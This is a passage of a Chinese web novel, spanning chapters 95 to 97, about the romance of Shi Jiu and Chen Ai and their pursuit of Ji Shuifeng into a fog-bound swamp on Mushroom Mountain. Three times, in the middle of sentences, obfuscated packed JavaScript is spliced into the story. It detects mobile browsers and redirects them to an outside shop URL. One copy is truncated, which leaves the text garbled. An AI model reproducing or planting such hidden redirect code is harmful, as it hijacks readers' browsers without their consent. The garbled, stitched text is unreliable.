时咎再次笑出来,笑得肩膀都在颤抖,他感觉沉皑是他未预料过的小心,便随意又轻佻说:“啊,那你得问我的唇啊。” 沉皑的目光从与对方厘米之差的眼睛,往下滑到鼻子,再是红润的唇,每挪动一分,他的眼神便晦暗一分,最后略有生硬地、用气声说:“讨厌吗?” 时咎转达沉皑问话对象的想法,用很直白的话翻译说:“我的唇说,不讨厌,很喜欢。”说到最后一个字,时咎已经主动再次吻了上去。 片刻松开,时咎发现了房间的异样,他抬头,平复跳得晕乎的心跳,惊奇地问:“这些光是什么?” 沉皑也愣了一下,他望向四周,不确定问:“你看得到?” 五彩半透明的流光,可能连极光也稍显逊色。 时咎点头,空出一只手去触碰身边的光,便立刻感受到很多情绪汹涌而来,是愉悦、心动、轻松、久别重逢,是珍重、是真心、是爱。 他记得他没能回来的时候,有一次在街上也遇到了类似的事,看上去是人们的内心。此刻,他能感受到的情绪,便是沉皑的。 沉皑说:“是磁场,是我的能力。但是,应该只有我能看见。” 时咎更奇怪了:“那我怎么突然能看见了,以前还是只能感觉到……” 他突然顿住,因为感觉到了不合理。他一直都可以感知到别人的一些情绪,只是他自己一直归功于某种天赋,或者父母的职业潜移默化训练的结果,对内心的感知是他艺术的灵感来源,但这一刻他碰到具象化的感知,却觉得与过去二十多年有些相似。 万物都有磁场,有频率,所以同频共振。如果没遇到沉皑,这样的能力算得上是天赋,但遇到沉皑了,还有了这些故事,他们类似的感知就变得不那么巧合了。 时咎问:“你能感知到看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209459|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到的东西对吗?” 沉皑轻轻点头,在他耳边低声说:“嗯,但是感知只是一部分,其实可以调动身边的磁场和频率,所以当时可以描述出隐形的物体,是因为他出现的地方,磁场和周围的磁场有冲突。这些光,是磁场对当下人的情绪或者心理的一种具体解释,按理说,只有我能看到。” 在无意识催动下,沉皑没见过这么五彩艳丽的光同时包围,他想是和终于再遇到时咎有关。 时咎歪着头看那些光,再次伸手,那些光却随着他手指向的方向慢慢流去,他惊讶道:“它们听我的?” 沉皑也看到了,他点点头,但没有做出解释。 时咎想,沉皑的能力跟感知磁场频率有关,而自己也一直能感知到一些不可见的东西,如今直接能看到沉皑的能力甚至能调动一点,能用互通心意来解释吗?一定还有什么事被自己忽略了。 但是,现在管他呢!和沉皑有类似的能力,反正不是坏事! 沉皑知道他在想什么,对他说:“不要想太复杂,可能只是我喜欢你,所以我的能力也喜欢你。” 也没想到他会突然这么自然平常的表白,时咎摸了摸自己的脸,选择再次把手环上去,仰头朝沉皑示意,于是沉皑主动去吻他。这次是一个安静温柔但深沉的吻,像沉皑本人一般,对他轻柔得怕磕着碰着。 片刻,两个人松开。时咎终于坐回了快要独属于他的沙发床,一碰到,便和瘫了一样半躺下了。 竟然生出了一种劫后余生的喜悦。 好久没躺这里了,简直比自己家的沙发还要熟悉。躺了两秒,觉得差点东西,时咎坐起来指示沉皑坐在沙发边缘,自己则重新躺下,拿沉皑的大腿当枕头,一边躺着,一条腿和另一条交叠。 这个感觉,熟悉又安全。 沉皑用指腹慢慢摩擦躺着这个人的脸颊,感受皮肤的接触,无奈说:“只有你敢这么使唤我。” 时咎非常厚脸皮地点头,他嘲讽道:“也只有你敢在我面前光明正大地胡说八道。” 沉皑想了想,确认没有这件事,他说:“我什么时候对你胡说八道了?” 时咎嗤笑一声,抬手去捏沉皑的脸,捏得它造型各异,接着阴阳道:“有的人脆弱得很,踢个树叶能给自己腿踢折了。” 沉皑沉默下来,半晌,他问:“你想起来了?” 时咎向他解释了一遍。 听后的沉皑抿着唇,若有所思地说:“原来是这样,我以为是你记不得了。我一直不明白为什么这么多年你始终是这个样子,所以就当是你不久前的梦,现在我知道了。当时也以为是两个人,因为你们还是太不一样。” 时咎翻身起来,迅速坐到沉皑旁边,拿脸贴着他靠很近,目光直勾勾盯着他说:“怎么不一样?” 那目光跟在逼问一样,好像如果回答错了就要付出代价。沉皑抬手轻轻在他脸上拍了拍,说:“我记忆里过去的你很温柔,好像总有很多心事,对我好得不真实,但之前你被带来的时候性格烈得很,什么不该做就偏做什么,横冲直撞没有顾虑,还要跟我作对,我想如果是你,不会这个态度,不过你刚刚解释了我就知道了。” “但其实……”沉皑回忆了一下,又补充道,“其实有时候还是很像的,比如一定要当我爹那回。” “啊……”时咎忽然想起他俩打了一架,还把小孩给打哭了,于是大笑出声,“谁让你那会儿说屁话!” 沉皑也跟着他笑,嘴角肆无忌惮地上扬,时咎很少见到沉皑笑得这么无所顾忌,好像那一刻,他内心所有的汹涌都袒露在阳光下了。 95. 第 95 章 从起源实验室出来的时候,时咎发现文明中心的大门打开了,广场上三三两两有了公民在散步,虽然没有以前热闹,但好像一切都在恢复。 沉皑对他解释说:“前几天言威回来了,门就打开了,得感谢舟之覆和凌超建的屠杀,让文明中心的人缩着不敢出门那么久,因祸得福吧。” 言威一回来就宣布隔离解除,近段时间的大屠杀事件也会调查。尽管知道这是做的表面功夫。 时咎听到舟之覆就想起何为,想到何为就觉得有些难过,他问何为去哪了? 沉皑摇头,说不知道。 “那舟之覆呢?”时咎问。 沉皑说:“消失了一段时间,刚回来。” 舟之覆这个人的行迹捉摸不定,碍于之前的屠杀,这次连回来都是偷偷回来,回来之后立刻就去见了言威。沉皑不知道他们之间再次达成什么协议,再出来,舟之覆又是大摇大摆的了。 尽管当时及时止损,但能力者的数量依然锐减。文明中心其他人不肯放过舟之覆,掌权者大楼便发出通知说将在最快的时间内找到可以代替舟之覆的人,在这期间,安全管理中心会全程监视舟之覆的一举一动。 但,对付舟之覆,非能力者能做到什么?除非他自己愿意配合,或者除非……季水风在。 文明中心的格局要发生大改变了。 时咎想起刚刚睁眼在走廊时听到季山月的话,便问:“季水风是怎么回事?” 沉皑跟他解释形体退化:“但是前段时间季水风醒来后就自己走了,回她小时候的家,而且好像我们以前的事都记不得了。” 时咎一听便皱起眉:“什么都记不得了,还记得回那个地方啊。” 想起小时候季水风刚刚被接回老宅的时候孤僻的性格,不禁有些担心,他不觉得季水风回那里是个正确的选择。 沉皑摇头,时咎则说:“这两天去看看她吧。” “嗯。” 街上的人比文明中心多得多,人声喧闹此起彼伏,路过回家的必经之路,那些晚饭后出门散步的、道路尽头弹唱的、围了一大堆人表演的,在每条街上聚集着。 这个时间应该是最为热闹的,两个人并肩穿过人群,走过小道,不知道绕到哪个无人的街头小巷,空旷的街道格外安静,时咎却突然停下脚步,有点茫然地问:“我们去哪啊?” 沉皑平静回答:“不知道,你在带路。” 时咎:“……”他以为是沉皑在带路,就随便走走。 时咎无语:“那回去吧。” 沉皑:“嗯。” 刚往前走了两步,时咎又停下来。 沉皑回头:“怎么了?” 时咎“啧”了一声,想起些事,不爽道:“沉先生我得给你提点建议。” 沉皑点头,认真道:“你说。” 时咎朝他伸出手,满脸戾气:“你一定要我手把手教你怎么追我吗?小时候不是跟你说过,如果我实在不回答,你可以直接告诉我你喜欢我?另外,我的手放这儿一路了,最后给你三秒,你要是再……” 话还没说完,沉皑就倒回来握住了那只滞空的手,将时咎往前拽了两步。 路灯照着两个人的身影,也照着紧握的双手。 回家洗漱后,时咎半躺在沙发上看新闻,频道里播放着虚疑病的平息,文明中心打开了门,公民们的生活进一步恢复正常。 看上去都是不坏的消息,怪不得这次来会直接到起源实验室,楼下也还有声音,当时还奇怪不是都暂时停止运转了吗? 新闻播放结束后开始放音乐,伴随着浴室里洗澡水哗啦啦的声音流出,时咎逐渐觉得有些累,便就着半躺的姿势闭上眼小憩。 至于水流声什么时候停止的他也不知道,后来连音乐声也变小了,屋子里安安静静的。半梦半醒之间,时咎感觉到面前的空气被压缩,一股沐浴露带着热气的味道从鼻子里钻进来,随后额头被落下了一个湿润的吻。 他一下就睁开眼,刚好看到沉皑双手撑着沙发,将他环在中间准备站起来。 见他醒了,沉皑低声问:“进去继续睡吗?” 时咎伸了个懒腰坐起来,摇头说不睡,就是眯一会儿。 沉皑顺势在他旁边坐下。 时咎重新拿起遥控器换了几个频道,换到正在播放别的新闻的频道,调大音量,房间里又热闹起来。 时咎打了个哈欠,一边抹掉出来的眼泪,一边问明后天什么时候去看季水风。 沉皑想了下说:“都可以,就是她可能不记得我们了。” “去看一下,记不得就不打扰她了。”时咎说。他无法判断这对季水风来说到底是好是坏,只觉得如果命运如此安排,就让她安心休息吧,唯一希望的就是那个家不会让她重蹈覆辙再经历一遍小时候的事。 沉皑点头,欲言又止。 时咎敏锐地察觉到,于是他将注意力从电视转移到沉皑身上,偏头问:“沉先生,你想说什么?” 沉皑学着时咎的样子舒展身体,也半躺下了,将双腿交叠搭靠在茶几上,柔和道:“嗯,想问你怎么打算……跟我的事?” “啊?我还要打算什么?我要跟你在一起啊,怎么了沉先生?你该不会现在要反悔吧?”时咎故作惊讶。 沉皑被他逗笑了,抬手越过他的脖子,搂住他的肩便把他往自己身体方向拢了拢,低声说:“我是怕你反悔。” 时咎顺势懒懒靠在他的肩上,突然想到之前何为说过的一句话,现场改编了一下送给沉皑:“我人死了火化了入坟了,嘴巴都要跳出来说‘老子永不反悔’。” 沉皑拿手捂着自己的脸,但没捂住满脸的笑意。 时咎知道他这句担忧下的潜台词,所以在说完搞怪的话后,还是认真地接道:“我之前有点心急,见不到你,把自己的生活也过得一塌糊涂,但后来想通了,活着就是活着而已,每时每刻都是我的人生,你也是我的人生,不是用睡着睡醒来界定虚幻真实。如果首先就贴个标签,那就把人生走窄了。” 他忽然坐起来,侧过身掰过沉皑的脸直视他,认真、非常认真、或许再没有这么郑重地剖白:“我喜欢你,是时时刻刻都喜欢你,是任何时间、任何地点的我都喜欢你。” 太阳可以直视,人心亦可以。 无怕无惧,不退不弃。 沉皑深蓝色的瞳孔倒影着他的模样,刻画着他的表情,随后,深蓝色眼睛里流露出了笑意,他柔和道:“好,再相信你一次。” “嗯?”时咎困惑出声,“说清楚,什么叫‘再相信你一次’?” 沉皑拨开时咎的手,把头转了回去面向电视,轻描淡写道:“自己想。” 时咎无语,但还是象征性想了一下,随后他想到了在沉皑小时候,自己说过会永远陪他,转眼就消失二十年的事。 那算是个……意外吧? 哎对了。时咎抬手打断他和电视之间的目光接触,问道:“你什么时候知道我是小久的?”总感觉这家伙老早就知道了,但从来不肯对自己透露。 沉皑用眼神示意了一下茶几上的相框,时咎瞬间反应过来。 一直忘记这件事了,他当时还很疑惑,为什么沉皑给他下达命令是让他演奏大提琴,自己还真在办公室自信满满地向他展示玻璃水提琴,恐怕在听到自己演奏音乐会上那首曲目的时候,他就认出来了,在不知不觉间,沉皑早就把想知道的事确定了个遍。 “不对。”时咎反应过来,“你怎么知道音乐会上拉大提琴的就是小久?” 沉皑拉了下嘴角,但不是什么特别开心的笑,他说:“你消失之后,每天都在想你,可能日有所思夜有所梦吧,最开始那两年,几乎每晚都做梦,梦到的都是你,永远是你拉那首曲子的场景,像梦魇一样完全走不出来。”说着他还是笑出来,但时咎感觉那只是无奈。 这让时咎有些难过,他的目光又瞥向那个相框,那对节目单的完整临摹,到底经过了多少次梦魇,在那场音乐会里循环了多少次,才让一个小孩完整记住了仅仅是一张曲目单的设计,醒来他还能画出来,并且把听了几百次的旋律当做密码摆放在随时可以看见的地方。 怪不得,怪不得他会说,除了他没有任何人知道这是什么的密码,便也无所谓随处摆放。确实不会再有人知道了。 说到密码,时咎伸手去撩开沉皑手腕的衣服。他一直记得沉皑有一圈类似腕带的纹身,只是以前他不肯给自己看。 这次沉皑终于没有再隐瞒什么,任时咎拿着他的胳膊。 那皮肤上刻的是“5543431755”。 时咎叹气,当时沉皑告诉他他家大门的密码时,怎么没想到呢?是和“GGFEFECGBB”完全对应的音名。 这么一个有话不爱说的人,只是切实地做了他能做的事。 时咎一直不敢细想沉皑的过去,他只是想想便觉得利刃穿心,何况亲身经历的人。 “那……”时咎犹豫着问,“你恨我吗?” 沉皑淡淡说:“恨过。” “恨过,失望过,绝望过,也自暴自弃,很长一段时间谁也不相信,不想跟任何人多说一句话,不想表露任何情绪,怕被骗。” 带给他最大快乐的人,也带给他最大痛苦。 时咎去握他的手,但被更有力地反握住了,他想说对不起,但刚开口就被沉皑另一只手直接捂住了嘴。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他想到小时候缠着时咎的样子,不禁勾起嘴角,跟翻自己黑历史一样说:“我记得很清楚你跟我讲什么是大爱,不过我是成年后才懂你说那些话的具体意思。那个时候和现在不一样,那个时候我很想占有你,后来知道占有不是爱,只是控制欲和不甘心,所以放过自己了,就希望你还好好活在某个地方。” 恨了那么多年,最后发现只是自己的执念,但放下执念的那一刻,惊觉一切都还可以回到原点,回不去的从来不是曾经,只是自己执迷不悟的心念。 沉皑拿纸擦掉时咎吃到脸上的水果汁,见他还盯着自己,叹口气道:“一定要接着说吗?” 时咎点头。 “好吧。”沉皑说,“一开始也没喜欢,只是觉得你跟那个人很像,不确定,想求证,还是有点执念的,后来知道你就是当年那个人,知道你很好地活着,就没有遗憾了。” 时咎知道这就是他始终不肯说明他们渊源的原因,即使恨过,但放下了,知道对方过得很好,便选择不打扰。 多温柔的人。 沉皑继续说:“真正喜欢上现在的你,大概是那个晚上你问我,能不能告诉你、我以前经历过的事的时候,我觉得很触动。我突然想起,那些事被我埋很久了。” “我从来不肯和人说我的过往,怕放一头困兽出去就再回不来。也许是被你感染的缘故……”沉皑说着,也逐渐回忆起后来遇到时咎的样子,处处针对、处处为敌,甚至评价这个人不管不顾无脑硬冲,也许就是这样的直白,让他觉得不该把自己锁起来,该去处理一些心事。 这个世界上有人能做到——既然想知道,为什么不主动问呢?他也应当可以主动挖掘自己深埋的快乐与痛苦。 “被你一说才想明白,如果我不解决内心深处的痛苦,总有一天它会以一种我甚至无法察觉的方式跑出来,最终伤害我和别人,也许那人我根本就不想伤害。” 时咎也不吃水果了,他盘腿面对沉皑坐着,看着他的侧脸,不自觉伸手去戳了一下,应答道:“所以我最开始入梦见到你的时候,你每次都不留余地不带商量的就麻醉我,你不信我,你也不怎么信别人。” ——是我带给你的。不过时咎没说出来,他觉得沉皑可能并不想听这句话。 沉皑微微点头:“嗯,所以我想我一定要有勇气面对自己的过去。遇到问题,第一时间不再是想反抗、逃避,而是如何接受、化解。” 沉皑说得很慢,但每个字都很清晰,温柔的、随意的。 他认为,每个人都会被过去限制,但把过去当成绊倒自己的石头,还是更高的起点,却是自己的选择。 时咎突然把往前倾了一点以靠近沉皑,他小声说:“妈的,我好喜欢你,能不能吻你啊?” 沉皑侧过头,挑眉道:“我没限制大艺术家这个权利吧?” 一个热忱的、炽烈的、悸动的热吻,带着过往种种快乐、承诺、痛苦、背叛,一笔勾销。 沉皑也问时咎,他为什么会喜欢自己? 时咎回答:“你刚刚说的所有,都是我喜欢你的原因。” 96. 第 96 章 两天后的上午,沉皑的车停在一条街的尽头,他们打算去看望季水风。 沉皑并没有来过季水风小时候的家,还是时咎记得大概的位置,两个人下了车慢慢边走边看,所幸时咎很快发现那栋绿色百叶窗的楼房。和记忆里的有些区别,因为窗台上挂的不再是已经晾得满是灰尘的衣服,隔壁人家窗台上的绿植和鸟倒是依然鲜活。 时咎朝那指了一下说:“就是这个楼上。” 刚要加快脚步往前走,时咎便被沉皑拦住了,他说:“等一下!” 时咎:“怎么了?” 沉皑用下巴示意了前方,时咎顺着看过去,惊异地看到了少女模样的季水风正从那栋楼推门而出。她的神色有些忧虑,满脸藏不住的心事重重。 两人对视一眼,时咎不确定道:“可能是去买东西,不然我们先跟着,等她回家之后再假装上楼?” 沉皑:“可以。” 季水风走路速度很快,她穿梭在人来人往的街道,过了一条马路,再转一个弯,进入最繁华的闹市,小小的身影在人群里被淹没得七七八八。 两个人跟得很近才没有在闹市中追丢,但走出闹市,拐进小巷,便又恢复到普通的街道,两个人自然地和她再次拉开距离。 时咎疑惑问:“她去哪啊?你觉得这像是去买东西吗?我怎么感觉像电视里演的某些不正当物品交易的行走路线呢?好适合警匪片啊。” 沉皑一听就笑出来,他这位大艺术家的脑子里永远装不了正常东西。 虽然不至于他说那么严重,但是这个路线明显不太对,如果是买东西,她们所在的居民区和闹市应该足够买到她需要的所有东西了。 季水风从街道出来后,再次拐进一个小巷,两个人加快脚步追上去,但哪想季水风的速度也越走越快,虽然身体小腿不够长,但是一路小跑的速度也足够了。 走过堆满杂物的小巷,转入无人又狭长一眼望到头的平民区,路过菜市一条街,位置越走越偏,眼看着小小的身影越过人群迅速消失在下一个拐角。 两个人快步拨开人群跟上去,身影没过几秒出现在季水风消失的那个拐角,但刚一转弯,一把用于给牲畜削骨切肉的菜刀直接横在了两人面前,季水风平静说:“跟着我做什么?” 沉皑瞬间伸手拦住时咎,两人脚步皆是一顿,接着季水风抬头看向两人,她的手忽然不自觉捏紧了刀把手,提高音量强调着又问了一遍:“你们是谁?跟着我做什么?” 时咎抬手做出让她冷静的手势,露出尽可能友善的笑容说:“抱歉,只是觉得你可能需要帮助……” “我不需要帮助。”季水风打断他,虽然音色稚嫩,但是语气却是不容置疑的成熟,她说,“我很好,谢谢关心。我还有事,不要再跟着我。”说完她直接将手里的刀往旁边一扔,转头就走。 两个人在原地站着。看着那个越走越远的小小身影,时咎觉得不太对:“这种程度的反侦察能力,是肌肉记忆吗?” 她应该早就察觉到有人跟踪,但是还是规划好了路线带他们走到这里,知道这里有个菜市,人多,她走过去还能神不知鬼不觉顺走人家一把刀,直到下一个路口找到合适的掩体,等跟踪她的人出现的一瞬间再截杀他们,可真的举着刀架着跟踪者的脖子了,又那么轻易地扔了刀说走就走。 时咎说:“我还是觉得有问题,要继续跟吗?” 沉皑静静看着季水风快要消失的背影,三秒后,他低声说:“你跟着我走。” 时咎;“好。” 也许是因为师出同门,沉皑刚好可以完美避开那些容易被季水风察觉的追踪点,不远不近保持在刚好可以跟着又不被发现的距离。 就这么绕了大半个城区,兜兜转转出了城,转到人烟稀少的地方。 这边的房子好像大多都没有人住,乡村平房,前面都是荒田。沉皑时刻都在注意周围,此时他低声告诉时咎:“这边是蘑菇山,再往前有十公里的荒地才是下一个居民区。” 蘑菇山……时咎觉得自己在哪听过。他问:“蘑菇山是什么地方?” 沉皑抬头朝前示意,时咎顺着目光看过去。虽说都是无人住的楼房,但不远处有一条小河,楼房背后最显眼的是一座山,整体看上去依山傍水,如果有人住应该也是一片漂亮景色,不过无人搭理,就物极必反了。 楼房们背靠的那座山,就是蘑菇山。 那个身影从不远处那排废弃矮房子中间拐弯,迅速进入一条上山的小路,那小路两边都是茂密的树林,刚好中间一条一个人能通过的道路,那道路也不是专门修建的,看上去是走的人太多渐渐被踩出来的。 小路的入口处,立了一个很小的牌子,上面写着:蘑菇山。一个长得像蘑菇伞状的小山。 两个人躲在矮房子的拐角,沉皑侧头看了一眼,说:“上面没有掩体,但是只有一条路,如果她不钻进树林,是可以追上的。” 时咎问:“这山上有什么?” 沉皑皱眉说:“蘑菇山这边很久以前就没有居民区了,我很少过来,但是山上什么都没有。” 他跟时咎解释说这里是大城区的边缘,以前也住着人,后来这里传出了闹鬼的事后,就都搬走了只剩下空房子,蘑菇山上更是荒野树林。虽然这片区域面积不大,到了晚上还是相当瘆人。 但如果是这样,季水风到这种地方来做什么? 时咎偏头看了一眼那条路,也看到还在往上走没有回头的背影,奇怪道:“那更不对了,上面什么都没有,为什么这里会有一条被人为踩出来的路?” “不清楚。”沉皑沉默半晌,说,“跟上去看看。” “好。”时咎刚答应,脚步便一顿,他说,“等一下,闹鬼啊?” “怎么?”沉皑问,刚要问他是不是害怕,就听见时咎痛心疾首地说道:“上次地下医院捡那个巫毒娃娃忘记捡了!” 沉皑:“……” 沉皑语气很淡地说:“地下医院玩巫毒娃娃的时候发生了什么,大艺术家应该是忘了。” 时咎奇怪道:“怎么突然叫我大艺术家?” “我想。” “行。” 但提到闹鬼,时咎终于想起自己在哪里听说过这座山了——以前在医院住院的时候,夜晚他和沉皑站在窗边远远看到过一眼。他能一眼注意到因为这座山奇怪在于山顶是光秃秃的,下面却是茂密的树林,所以他当时第一反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233255|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应就是,像一个秃顶的人的脑袋,当时沉皑就告诉他这一块闹鬼。 唯一的路上没有遮挡,旁边都是栽着树的陡坡,一旦被发现,除了往两边树后躲,就没有任何掩体了,但是这边的树干不够粗,也并不能完整遮住一个成年人的侧身。 于是两个人只能非常遥远地跟着,大概能看清楚那个影子。 时咎低声说:“有没有可能还是被她发现了,她在故意把我们往荒郊野岭引。” 沉皑摇头:“不可能。”他对自己的追踪和反追踪技术还是很自信的。 这条弯曲的山路不算短,两个人跟着走了大半个小时,才逐渐看到山顶,也看到山顶光秃秃的一片——只有山顶的位置没有树林。和记忆中的一样。 时咎甚至觉得这里闹鬼的原因就是因为明明山上什么都没有,还有被人踩出来的路,最诡异的是一般小山都是山上树林密集,山下因为人们居住采伐,树木更少,这座山倒是反着的,下面一切正常,以山顶为圆心那一块一棵树都没有,已经足够让人联想到闹鬼了。 这么一想,好像山里的风都阴凉了些,在这正中午的烈日下,时咎感觉有些冷,阴森的感觉环绕过来。 虽然这条路明显不对,但已经走到这里,不可能回头了。 想到这里,时咎微不可察叹气,原本他们的四人小队计划是找到教化所,一起找到那个可以让言威下台的证据,但一次打破之后,全都乱了,现在连四人小队也没有了,想想有些令人唏嘘。 时咎正要跟沉皑说话,却听见沉皑低呼了一声:“快走!” 时咎猛然抬头,以为是真的闹鬼、阴兵过境了,却乍然看到山顶那个瘦小身影几乎消失了。 他们跟的速度不至于跟丢,就在两个人意识到不对的时候,已经到达山顶的身影骤然消失。 时咎凛声道:“她上去了。” 两个人也不控制脚步声音了,开始踩着小路飞速往上狂奔,然而那个身影确实是消失了,越往前跑,越是看不见什么,不仅看不见季水风的身影,逐渐连山顶光秃秃的土地都看不清了。 此时正午的太阳在头顶如同被蒙了一层阴翳。 不对!时咎徒然停下脚步。他微喘着气,环顾四周这才发现这一切都不太对。看不到季水风的背影不是因为她在上面消失了,而是因为这里充斥着雾! 一路跑上来太心急了,竟然没注意这浓雾是什么时候蔓延过来的。 时咎伸出手,发现逐渐的,连五指也只能看清模糊的轮廓。 他朝旁边的人说:“这里不太对。” 至少从山下,甚至半山腰那里抬头看顶处,也是能见度清晰的山顶,真正上来后反而什么都看不到,难怪有人说闹鬼。 然而时咎说出去的这句话没有得到回应,他眉心一跳,猛然转头,伸手以自己为圆心胡乱抓了一把。 他皱眉小声叫道:“沉皑?” 没人回应。 又来?在地下医院玩过的把戏不会又玩一次吧? 时咎强装镇定地喊了一声:“沉皑,你要敢再吓我,你会被打的。” 说出去的话瞬时被浓雾吞噬,一点尾音也没有。 不是沉皑的玩笑! 97. 第 97 章 时咎发觉这件事,立刻按照记忆直线往回跑,按照那条小路往下走应该就能回到半山腰。沉皑如果发现自己不在了,应该也能想得到往回跑。时咎这么想。 体感是回头原路返回了,时咎却越走越看不到上山时那条路,反而迷雾汹涌,直接伸手不见五指。 时咎跑了一会儿就停下来了。他发觉不能这么乱跑,他以为是原路返回,说不定是越跑越远。但站定在原地后他发现,身边除了浓雾裹挟,什么都看不到,如同坠入一片白茫茫,如果找不到沉皑,或者找不到下山的路,他应该怎么办?不对……沉皑该怎么办? 还有季水风…… 季水风为什么会来这种地方?是故意引他们来的?她知道这上面的情况吗? 这上面太怪了。心里的迷雾如同眼前的迷雾,一时间叫人完全找不到方向。 时咎站着没动,突然间,他一拍脑袋。太着急了,他完全可以直接瞬移到沉皑身边。 正在他企图找某个硬物去撞的时候,他耳尖地听到了某些响动。眼睛看不清,耳朵就成了主要感官。 “咕咚!” “砰!” “咕咚!” 声音很小,就在附近,像是某种——泥潭偶尔冒气泡的声音。 但这山上怎么会有泥潭? “沙沙——” 很快,另一边又传来了另一种声音,像人的脚步,很轻很快地朝他走来。 四处没有可以躲的地方,最好的障眼法就是浓雾本身了。 时咎感觉自己额角浸出一滴冷汗,心跳不自觉加速起来,他在想如果这种地方有人,会是什么人?而且听那脚步声非常干脆,好像知道自己要去哪,跟自己刚刚慌不择路地跑不一样。 光秃秃的山顶,根本没有硬物,他好像连瞬移也触发不了。 沙沙的声音越来越近了,那脚步声好像就是冲着自己来的。时咎做出防御的姿势,以防遇到意外的袭击。 “沙沙——” 很近了!最多三米!时咎的心脏快跳到嗓子眼。下一瞬,他的眼前出现了一个黑影,眼睛都能看到黑影的距离,绝不超过三十公分! 时咎猛然朝着眼前的黑影挥出一拳,但那一拳还没打出去便被捉住,整个人也被带着往前扯了一步,他的背靠上对方的胸膛,随即一只手捂住了他的嘴。 “嘘。” 耳边响起的是熟悉的声音,他低声说:“是我,别出声。” 是沉皑。知道是他后,时咎顿感放松下来,一颗心“扑通”一下跳回原位,浑身的肌肉也一下软回去。 捂住嘴的手松开,时咎长呼一口气,往身边的人身上靠了一下,摸索着抓住他的手,轻声警惕问:“怎么回事?”浓雾让他只有完全贴着才能看清沉皑的脸。 沉皑摇头说:“我不知道,这上面的磁场很乱,好像每个地方都有东西,又什么都看不到,我的能力也聚集不起来,太乱了。” 雾浓得似乎一点也不会消散,上来这么一会儿,一点会被风吹散的迹象也没有。不过至少他们是汇合了。 时咎问:“你找到季水风了吗?” 沉皑道:“没有。” 沉皑反手抓紧时咎的手,压着嗓子说:“我们先找下山的路。” 时咎:“好。” 这上面太不正常,不可能是自然生成,季水风一个人走这么远,连头都没回走到这里,如果她真的有事,知道这里的情况,也一定知道如何出去,如果她早早发现后面跟了两个人,故意将他们引来这里,他们更得找到破局的方式尽快离开。 担心再次被浓雾冲散,这次两个人牵着的手彼此用力握着。 雾气密密麻麻地在周围堆积,时咎刚刚听到的泥潭气泡声现在还是时有时无,时远时近。 两个人小心谨慎地往前走,时咎轻声问:“你听到了吗?” 沉皑道:“嗯。” 除了气泡声便是微弱的风声在哀嚎,但不管是哪种声音,在浓雾里都让人觉得诡异无比,它们不是正常地发出声响,而是如同虚幻一般,好像听得到,但真正注意的时候却又消失了。 这蘑菇山只有这么大,如果不是鬼打墙般原地绕圈而是一条直线往前走,不管刚刚是在哪个地点迷路,总是能走出去,最多是翻过那些沟壑树林以非正常方式下山。 想到这里,时咎问:“如果什么都看不清,你能保证走直线吗?” 沉皑犹豫了半晌说:“不能完全保证,但偏差不会太大。” 时咎说:“好。” 两个人沉默着牵着往前走,谁也没有说话,担心会错过浓雾里突如其来的声音,但除了一开始就听到的那些声音,后来再没有别的声音出现,甚至两人再往前走,连风声和气泡声也消失了,整片雾里安静得令人毛骨悚然。 脚步踏在土地上,走一步会轻微往下陷一点,有点像是下雨过后泥泞的土地——但时咎记得刚刚和沉皑遇到的那个地方,地面还是草地,所以沉皑在靠近他的时候,他能听到“沙沙”的、矮草晃动的声音。 沉皑突然停住脚步不走了,他的手稍稍用力捏了一下时咎的手,淡声道:“这片地不是蘑菇山的地。”说完他就着拉住时咎的姿势蹲下了,于是时咎跟他一起蹲下。 时咎用空出来的手摸了下地面,又用力戳下去,发现确实是软土。 从山下往上看的时候,上面虽然再没有树,光秃秃一片,但是并不是秃得寸草不生,相反是有矮草的,而现在他们踩着的这片地却是土地,并且是软土。 时咎不确定道:“我记得,这两天没下雨?” 沉皑低声说:“嗯。” 他们一路从城区追到这里,不管是路过那个地方都没有下过雨的痕迹,连在进入这片迷雾之前,山林中也是一片干燥,但是这里…… “咕咚!” 闷闷的一声气泡声在旁边炸裂,近得就像在耳边。 时咎立刻转向听到声音的方向,眼睛看不见便拿手去摸,只摸到湿润的土地。 他正准备说话,那“咕咚”的声音又从另一个方向传来,依然很近。那种污泥被土地里的空气顶起来又破掉的闷响此时在万籁俱寂中被格外凸显出来。 软土里为什么会有泥潭气泡的声音? 泥潭? 时咎的脸色突然就变了,他“噌”的一下站起来,而沉皑的反应比他更迅速,对方拉着他直接低呼了一句:“快跑!” 话音刚落,异变突生,那些气泡声如同凶猛的岩浆爆发一样一个个全部在耳边爆炸开来,破裂的气泡此起彼伏,让时咎想到了大火煮沸后冒泡的浓稠咖喱。 两个人飞速往外跑,但气泡冒出来的范围似乎远超过他们的想象,刚刚冲出去十来米,时咎感觉脚下一软,土地全然坍塌,接着他整个人失去重心往前扑去。 沉皑吼了一声:“时咎!”他停下脚步,却被泥地带着往旁边踉跄好几步。 沉皑打算回去拉时咎,但他感觉到自己的脚下也突然迅速塌陷,好像有什么东西抓住他的脚踝将他用力往下拉,接着身体便不受控开始垂直往下陷。 是沼泽地! 